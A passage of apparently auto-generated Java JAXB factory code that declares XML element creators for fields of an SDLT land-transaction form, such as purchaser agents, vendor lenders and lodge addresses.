@return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgent2Address1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgent2Address1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchAgent2Address1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgent2Address2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgent2Address2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchAgent2Address2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgent2Address3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgent2Address3(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchAgent2Address3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgent2Postcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgent2Postcode(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchAgent2Postcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgent2DXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgent2DXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchAgent2DXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgent2DXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchAgent2DXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchAgent2DXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchRole1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchRole1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchRole1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchRole2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchRole2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1PurchRole2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Role1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Role1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Role1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2Role2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2Role2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2Role2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorRole1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorRole1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorRole1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorRole2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorRole2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1VendorRole2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2Role1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2Role1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2Role1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2Role2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2Role2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2Role2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderRole1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderRole1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderRole1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderRole2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchLenderRole2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderRole2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderRole1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderRole1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderRole1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2LenderRole2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2LenderRole2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2LenderRole2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchServiceAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchServiceAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchServiceAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchServiceAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchServiceAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchServiceAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchServiceAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1PurchServiceAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchServiceAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2ServiceAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2ServiceAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2ServiceAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2ServiceAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2ServiceAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2ServiceAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Purch2ServiceAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Purch2ServiceAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Purch2ServiceAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorMortgage", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsVendorMortgage(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsVendorMortgage_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorLender", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsVendorLender(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsVendorLender_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderMDCode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderMDCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderMDCode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderChargeDate", scope = SDLT.AP1 .class) public JAXBElement<String> createSDLTAP1AP1VendorLenderChargeDate(String value) { return new JAXBElement<String>(_SDLTSDLT2AP1AP1VendorLenderChargeDate_QNAME, String.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorLenderRepresented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsVendorLenderRepresented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsVendorLenderRepresented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderRepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderRepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderRepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderLodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderLodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderLodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderLodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderLodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderLodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgePostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderLodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgePostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderLodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderLodgeDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderLodgeDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderLodgeDXExchange_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderRole1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderRole1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderRole1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorLenderRole2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1VendorLenderRole2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorLenderRole2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendor2Lender", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsVendor2Lender(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsVendor2Lender_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderName(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderMDCode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderMDCode(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderMDCode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderChargeDate", scope = SDLT.AP1 .class) public JAXBElement<String> createSDLTAP1AP1Vendor2LenderChargeDate(String value) { return new JAXBElement<String>(_SDLTAP1AP1Vendor2LenderChargeDate_QNAME, String.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendor2LenderRepresented", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1AP1IsVendor2LenderRepresented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1AP1IsVendor2LenderRepresented_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderRepresentedBy", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderRepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderRepresentedBy_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderLodgeName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderLodgeName(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderLodgeName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderLodgeHouseNo", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderLodgeHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderLodgeHouseNo_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderLodgeHouseNo2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderLodgeHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderLodgeHouseNo2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderLodgeAddress1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderLodgeAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderLodgeAddress1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderLodgeAddress2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderLodgeAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderLodgeAddress2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderLodgeAddress3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderLodgeAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderLodgeAddress3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderLodgePostcode", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderLodgePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderLodgePostcode_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderLodgeDXNumber", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1AP1Vendor2LenderLodgeDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTAP1AP1Vendor2LenderLodgeDXNumber_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Vendor2LenderLodgeDXExchange", scope = SDLT.AP1 .class) public JAXBElement<StringType> 